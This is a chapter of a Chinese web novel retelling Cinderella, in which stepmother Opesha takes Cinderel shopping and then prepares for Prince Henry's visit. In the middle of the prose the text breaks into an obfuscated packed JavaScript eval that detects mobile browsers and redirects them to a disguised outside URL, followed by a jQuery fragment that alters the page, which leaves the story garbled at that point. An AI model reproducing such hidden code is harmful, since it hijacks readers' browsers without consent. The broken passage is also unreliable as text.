39.Chapters 39

作品:《驯服恶役的日与夜

    奥佩莎无论如何也没想到,亨利王子居然会来密语。


    虽然他突如其然地来,又猝不及防地走,但奥佩莎还是感到震惊。


    她确信自己没有暴露身份,辛德瑞尔没有背着自己去皇宫里做些什么,那亨利王子又是因为什么而来?


    订单?可上次的订单她已经送过去了,而且反复确认过质量,都是最佳的,不可能因为此。


    直到三天后,她的信箱里多出了一封信。


    信上印着皇家火漆,她不敢怠慢,迅速进店拆开。


    雅致的油墨味扑面而来,字迹是王子惯用的花体:“辛德瑞尔小姐,那日见你驯鹿的模样,我总想起《圣经》里说‘温柔的人有福了,因为他们必承受地土’。若蒙你允准,明日愿携薄礼往访,与你共餐。”


    啊。奥佩莎呆了呆。


    她的计谋……居然成功了?


    意外之喜令奥佩莎无比兴奋,她塞好信纸,心情愉悦地将店面打扫了一下,心里盘算着明晚该如何拉进辛德瑞尔和亨利之间的关系。


    王子应该没有吃过她那边的事物,可以叫辛德瑞尔做两道给他吃。


    对了,给辛德瑞尔安排一件新衣服!


    她想到辛德瑞尔那穿到发旧的衣服——辛德瑞尔不爱打扮自己,即便自己提过给他买新衣服的意见,他也全以“衣服够穿”来拒绝。


    不过,马上要新年了,新年换新衣,这个理由辛德瑞尔总不会拒绝吧?


    盘算完一切,三个女儿也带着材料来到了店里。


    自从伯爵的宴会后,杜苏拉和安娜塔莎开始主动承担起店内的事物,虽然目的不纯,仅仅是为了多拿些零花钱,但也为奥佩莎减轻了不少负担。


    “回来啦?”奥佩莎放好扫帚,高兴地走到三个女儿前面,“走吧,去街上逛逛?”


    杜苏拉和安娜塔莎自然是兴致勃勃的,唯有辛德瑞尔眉心微拢:“还有订单没做完。”


    “别想着工作了,这段时间顾客都不会来店里拿货的。马上过年了,正好去街上买点新衣服和食材吧?”


    “是啊,辛德瑞尔,你看你那件衣服穿多久了,从我们来到这个家就看你在穿,你该学学外面那些姑娘。”杜苏拉难得板了副姐姐的模样说教辛德瑞尔。


    “一起吧?”奥佩莎期待地拉起辛德瑞尔的胳膊,“难得能一家人一起出门。”


    “……”辛德瑞尔无言地看了她一眼,又看了看周围的两个姐姐,抿直了唇。


    一家人。


    他第一次听到这样的描述。


    他过去从不敢奢求,也从没体会过家庭的感觉。


    现在,他算是有了吗?


    默了默,他放下背上的包袱,小小声地回道:“去一次……也行。”


    “耶!”面前三人击了个掌,奥佩莎脚步轻盈地从柜台里拿出钱袋,挥手示意道,“走吧,去第一大道!”


    他们坐上马车,车轮卷着泥雪,咕噜噜地驶向第一大道。


    兴许因为时近新年,街上的人稍微多了一些,气氛也从压抑稍稍缓和,但依旧能看出行人脸上难以抹去的愁云。


    第一大道无法坐马车进入,他们便在第二大道找了处地方放置马车,步行进入第一大道。


    两个女儿在进到第一大道时遇到了熟人,跟奥佩莎打完招呼后,便跟着自己的小姐妹一起去了首饰店。


    奥佩莎转回身子,面向辛德瑞尔。


    他一如既往地站在身后,出来穿的还是那件洗得发白的灰棉袍和布裙子。


    “你有喜欢的衣服吗?”奥佩莎问,不过脱口的下一秒她就反应过来,要是辛德瑞尔有喜欢穿的衣服,他也不可能一直拒绝买新衣服。


    算了,得到的回答一定会是否定的。奥佩莎一不做二不休,拉住辛德瑞尔的衣袖,硬拉着他进了服装店。


    挑挑拣拣了一阵,奥佩莎选了件橙黄色的小礼服出来,在辛德瑞尔的身上比比划划,满意地点头:“感觉这个不错诶。”


    辛德瑞尔抿唇,怀疑她的审美是否有问题。


    那版型穿上就会华丽变身为田里的南瓜,他不可能穿的。


    偏偏奥佩莎今天格外执拗,即使他明言拒绝,她还是买了下来,接着就是在他耳边使劲唠叨,要他试穿看看。


    无奈,辛德瑞尔只能咬牙穿上了那件裙子。


    他从试衣间出来的那一瞬,奥佩莎的眼睛都瞪圆了。


    在店内的顾客和员工也瞪圆了眼睛。


    果然是丑到了。他正准备回去换成自己的衣服,便听到奥佩莎的赞叹:“……好可爱啊,像一只小南瓜。”


    辛德瑞尔:……


    原来她是故意选择这件南瓜服的吗?


    虽然极其不情愿,但架不住奥佩莎的软磨硬泡,辛德瑞尔只得穿着那南瓜服走出了服装店。


    “啊……真好啊,终于给你买新衣服了。”奥佩莎走在前方,声音轻快,她手里还提着几个袋子,里面都是新衣服。


    她开心了,辛德瑞尔不太开心。


    “哇……这个颜色……也太像南瓜了。”


    “感觉很香甜的样子……”


    “确实呢……”


    他的耳边全是路人经过时的窃窃私语,吵得他脚步都沉了,恨不得把他们的舌头都割下来。


    “……辛德瑞尔。”


    辛德瑞尔抬头,奥佩莎不知何时站在了自己的面前。


    他的金发散在肩头,几缕被风卷到耳后,露出那片冻得泛红的耳尖。


    奥佩莎盯着他冻得发红的耳尖,解下自己的围脖挂在他脖子上。


    余温烫的辛德瑞尔往后缩了缩,奥佩莎低笑:“躲什么。”她的指尖冻得发僵,却仔细地替他绕了两圈,只露出那双碧色的眼睛,“你看,这样耳朵就不冷了。”


    她认真地系着围巾,辛德瑞尔仔细地看着她。


    看她的睫毛上未消融的雪花片,看她垂落的发梢扫过自己的手背,看着她冻红的指尖在毛线间穿梭。


    裹好了,奥佩莎往后退了一步:“好了,这样——”


    话音未落,冷厉的风又卷着雪粒子扑过来。辛德瑞尔忍不住闭眼,围脖被吹得松了些,重露出半截泛红的耳尖。


    他觉得麻烦,伸手想要扯下围巾还给她,却听到奥佩莎叹气,上前半步,指尖轻轻替他理了理:“你呀,总不会好好照顾自己。”


    辛德瑞尔的呼吸一滞。


    他能看清奥佩莎带温度的白色鼻息,一点点融进他的呼吸中,融化他冰封的内心。


    “够了。”他突然抓住她的手腕。奥佩莎的手顿在半空,毛线围脖从两人指间垂落,晃出细小的弧度,“你离得……”他的话卡在后头。


    “离得太近?”奥佩莎挑挑眉,推开他的手,替他围好围巾,“我们可是躺过一张床呢。”


    辛德瑞尔迅速撤开视线,佯作不在意的模样:“嗯。”指尖却悄悄勾住围脖的毛线头,不自然地扯了扯


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15876858|172834||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    像曾经在交易行时,谨慎触碰食盆的动作。


    不过这次,没有危险,没有威胁,没有恐惧。


    只有无数的,关于渴望的念想。


    风停了。


    围巾裹在脖子上,暖得发烫。


    他突然觉得耳尖更红了。


    不是因为冷,是因为她离得太近,近得能闻到她身上那股熟悉的香。


    “走了。”奥佩莎拍了拍他的肩,转身往街里走,“该买食材了,仓库里屯的食物快吃完了。有想吃的东西吗?”


    “……有。”


    “什么?”


    “想吃那个甜的,白色的。”


    “哦,豆沙包吗?好啊。”


    他们一路聊着,买完了食材。


    辛德瑞尔跟着奥佩莎往回走。


    不过,他发现奥佩莎并没有直接往停放马车的地方走,而是拐了一圈,来到了邮局门口。


    他在门口提着东西等,而奥佩莎在里面写着信件。


    他疑惑奥佩莎要寄给谁,不过他想了一会,就没再想了。


    或许是寄给保罗先生的信吧,她经常会给保罗先生写信说明店铺的情况,再寄一些钱财过去。


    外面依旧有人对他的穿着指指点点,他毫不在意,全盘无视。


    辛德瑞尔站在原地,摸了摸脖子上的围脖。


    毛线还带着她的温度,像团小火苗,烧得他眼眶发涩。他低头看自己的衣服,突然觉得这件衣服也没那么难看了。


    毕竟,是她挑的。


    寄完信,奥佩莎走出了邮局,伸手揉了揉辛德瑞尔的头发:“回家吧,杜苏拉和安娜塔莎应该也在马车那边了。”


    肢体接触变得频繁,但辛德瑞尔已经不再排斥。


    只要是她要,他便给。


    “嗯。”他应道。


    回家。


    第二天一早,辛德瑞尔便在厨房看到了忙碌的奥佩莎。


    他站在厨房门口,有些诧异:“你……起那么早?”


    “哦?”奥佩莎回头,脸上还沾着没擦净的面粉。她粲然一笑,“早啊,你不是说想吃豆沙包吗,所以早起做给你吃啊。”


    “……”辛德瑞尔哽住,摇了摇头,走上前,伸手轻轻拭去她脸上那团顽固的面粉,看着她的黑眼圈蹙眉,“我来吧。”


    奥佩莎只是咯咯笑,没听出他话里的深意:“真好啊,知道心疼母亲了?”


    “我才不是。”


    “好啦,知道你心口不一。”奥佩莎挪步给他空出位置,继续做着豆沙包,“一起做吧,这样能快些。”


    辛德瑞尔没有说话,只是围上围裙,清洗双手,走到了她的身边,指腹压进案板上的面团。


    两人的手在面团上交叠。奥佩莎的指尖沾着红豆沙,辛德瑞尔的掌心还带着水的凉意,揉着揉着,面团便成了团软乎乎的云。


    忙到安娜塔莎和杜苏拉也醒来时,门外传来杜苏拉的惊呼声:“母亲!”


    杜苏拉的脚步匆乱,几乎是冲刺过来,差点就刹不住脚一头撞在门框上。


    “怎么了?”奥佩莎问。


    她的头发乱七八糟的,脸上全是惊慌:“门、门外!”


    门外有人。


    辛德瑞尔压低了眼帘,准备拿刀出门。


    佩斯交易行?


    “慢点说,门外怎么了?”


    杜苏拉呼了一大口气,说:“门外,亨利王子来了!”